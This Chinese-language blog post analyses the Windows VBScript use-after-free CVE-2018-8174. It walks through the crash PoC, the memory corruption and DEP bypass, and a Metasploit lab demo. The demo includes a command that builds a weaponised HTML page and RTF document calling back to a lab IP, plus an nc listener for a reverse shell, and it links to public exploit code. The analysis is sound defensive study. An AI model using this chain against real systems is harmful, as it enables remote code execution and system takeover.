Windows VBScript引擎远程执行代码漏洞 CVE-2018-8174分析与利用 – 作者:四维创智4DOGS

漏洞简介

VBScript引擎处理内存中对象的方式中存在一个远程执行代码漏洞。该漏洞可能以一种攻击者可以在当前用户的上下文中执行任意代码的方式来破坏内存。成功利用此漏洞的攻击者可以获得与当前用户相同的用户权限。如果当前用户使用管理用户权限登录,则成功利用此漏洞的攻击者可以控制受影响的系统。然后攻击者可以安装程序; 查看,更改或删除数据; 或创建具有完全用户权限的新帐户。

在基于Web的攻击情形中,攻击者能通过Internet Explorer利用此漏洞的特定网站,然后诱使用户查看该网站。攻击者还可以在承载IE呈现引擎的应用程序或Microsoft Office文档中嵌入标记为“安全初始化”的ActiveX控件。攻击者还可以利用受到破坏的网站和接受或托管用户提供的内容或广告的网站。这些网站可能包含可能利用此漏洞的特制内容。

2018年5月8日,微软发布了安全补丁,影响流行的大部分系统版本。

漏洞基本信息
漏洞ID CVE-2018-8174
漏洞名称 Microsoft VBScript引擎远程执行代码漏洞
漏洞类型 远程代码执行
威胁类型 UAF
影响系统版本 Windows 7 x86和x64版本、RT8.1、Server2008及R2/2012及R2/2016、8.1、10及服务器等版本

漏洞测试

系统环境 Win7 32
IE IE8
EXP https://www.exploit-db.com/exploits/44741/

漏洞原理

由于样本混淆严重,部分代码见图1,这里采用简化POC进行分析,代码见图2。

1.png

图1 样本采用了严重混淆

2.png

图2 Crash Poc

Crash Poc中定义两个数组array_a和array_b,并声明了一个类MyTest,且重载了析构函数Class_Terminate,UAF中创建MyTest的实例赋值给数组array_a(1),并通过Erase array_a清空array_a中的元素,在析构array_a中的元素的时候会触发脚本中Class_Terminate的调用,在Class_Terminate中增加了一个array_b(0)对MyTest实例的引用(MyTest实例引用计数+1),再通过array_a (1)= 1删除array_a (1) 对MyTest实例的引用(MyTest实例引用计数-1)来平衡引用计数,这时候MyTest实例会被释放,但是array_b(0)仍然保留了这个MyTest实例的引用,从而array_b(0)指向了被释放的MyTest实例的内存,最终在MyTestVuln中通过b(0) = 0访问未分配内存触发漏洞。

3.png

当我们启用了页堆的IE浏览器运行这个PoC时,我们可以观察到OLEAUT32!VariantClear函数会发生崩溃:调用被释放的内存时出现访问冲突(Access Violation)异常。

4.png

从堆信息中可以看到eax(0x14032fd0)在vbscript!VbsErase的调用栈中被释放了,vbscript!VbsErase即对应了脚本中的Erase,而eax正是被VBScriptClass::Release函数释放的VBScriptClass对象也就是脚本中的MyTest实例。VBScriptClass::Release的逻辑如下图:

5.png

VBScriptClass::Release中首先对VBScriptClass的引用计数-1(&VBScriptClass+0×4),如果引用计数=0则调用VBScriptClass::TerminateClass,调用VBScriptClass::TerminateClass时因为在脚本中重载了Class_Terminate函数,所以获得了一次脚本执行的机会,这里就可以在释放VBScriptClass的内存前将即将释放的VBScriptClass内存地址保存脚本控制的变量中(Set array_b(0)=array_a(1)),并通过array_a (1) = 1平衡引用计数,最终释放内存。

6.png

Set array_a(1) = New MyTest时,VBScriptClass引用计数为2。

Erase array_a 返回后,MyTest指向的内存已释放,但array_b(0)仍指向这块被释放的内存,形成了悬挂指针,见下图:

7.png

漏洞利用分析

UAF漏洞利用的关键是如何用这个悬挂指针来操作内存。该漏洞利用多次UAF来完成类型混淆,通过伪造精数组对象完成任意地址读写,最终通过构造对象后释放来获取代码执行,代码执行没有使用传统的ROP技术或GodMod技术,而是通过脚本布局Shellcode利用。

  • 伪造数组达到任意写目的

通过UAF制造2个类的mem成员指向的偏移相差0x0c字节,通过对2个对象mem成员读的写操作伪造一个0x7fffffff大小的数组。

8.png

伪造的数组大致情况是:一维数组,元素有7fffffff个,每个元素占用1字节,元素内存地址为0。所以该数组可访问的内存空间为0x00000000到0x7ffffffff*1。因此通过该数组可以任意地址读写。但是在lIlIIl在存放的时候,存放的类型是string类型,故只需要将该数据类型将会被修改为0x200C,即VT_VARIANT|VT_ARRAY,数组类型,即可达到目的。

9.png

攻击代码中,主要使用上面的函数来读取参数所指定的内存地址的数据。利用思路是在VBS中数据类型为bstr类型,通过vb中lenb(bstrxx)返回字符串地址前4个字节的内容(即bstr类型size域内容)的特性,获取指定内存读能力。 如上述代码所示,假如传进来的参数为addr(0x11223344),首先该数值加4,为0x11223348,然后设置variant类型为8(string类型)。然后调用len函数,发现是BSTR类型,vbscript会认为其向前4字节即0x11223344就是存放长度的地址内存。因此执行len函数,实际上就返回了制定参数内存地址的值。

10.png

通过DOSmodeSearch获取。

11.png

通过泄露CScriptEntryPoint对象的虚函数表地址,该地址属于Vbscript.dll。

12.png

由于vbscript.dll导入了msvcrt.dll,因此通过遍历vbscript.dll导入表获取msvcrt.dll基地址, msvcrt.dll又引入了kernelbase.dll、ntdll.dll,最后可以获取NtContinue、VirtualProtect函数地址。

  • 绕过DEP执行shellcode

a.利用任意读写的手段修改某个VAR的type类型为0x4d,再赋值为0让虚拟机执行VAR::Clear函数,如下图显示。

13.png

b.通过精心控制使代码执行ntdll!ZwContinue函数,第一次参数CONTEXT结构体也是攻击者精心构造的,见下图。

14.png

c.ZwContinue的第一个参数是指向CONTEXT结构体的指针,可计算出EIP和ESP在CONTEXT中的偏移。

d.实际运行时CONTEXT中的Eip和Esp的值以及攻击者的方法,见下图。 

15.png

攻击者将CONTEXT中的EIP设置为VirutalProtect,将ESP中的返回地址和VirtualProtect的第一个参数,都设置为shellcode的起始地址。当ZwContinue执行后直接跳到VirtualProtect第一条指令开始执行。 

16.png

根据攻击者构造的参数将shellcode所在内存设置为可执行状态,当VirtualProtect返回时就会跳到shellcode执行。

17.png

最后调用WinExec弹出计算器。

18.png

  

  • MSF利用

环境准备

目标机 Win7以及安装具有该漏洞的office
攻击机 Kali  linux
Msf组件 https://github.com/Sch01ar/CVE-2018-8174_EXP

生成带有恶意 VBscript 的html 页面和 word 文档

19.png

python CVE-2018-8174.py -uhttp://192.168.106.139/exploit.html -o msf.rtf -i 192.168.106.139 -p 4444

把 explot.html 复制到/var/www/html目录,

20.png

把msf.rtf复制到 /root/.msf4/local目录。

21.png

开启 apache 服务

22.png

nc监听4444端口

在靶机的 IE 浏览器打开恶意 URL,或者打开 word 打开 msf.rtf

23.png

收到反弹shell 

24.png

参考资料:

http://blogs.360.cn/post/cve-2018-8174-en.html

http://www.freebuf.com/vuls/172983.html

来源:freebuf.com 2018-11-06 15:30:36 by: 四维创智4DOGS

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论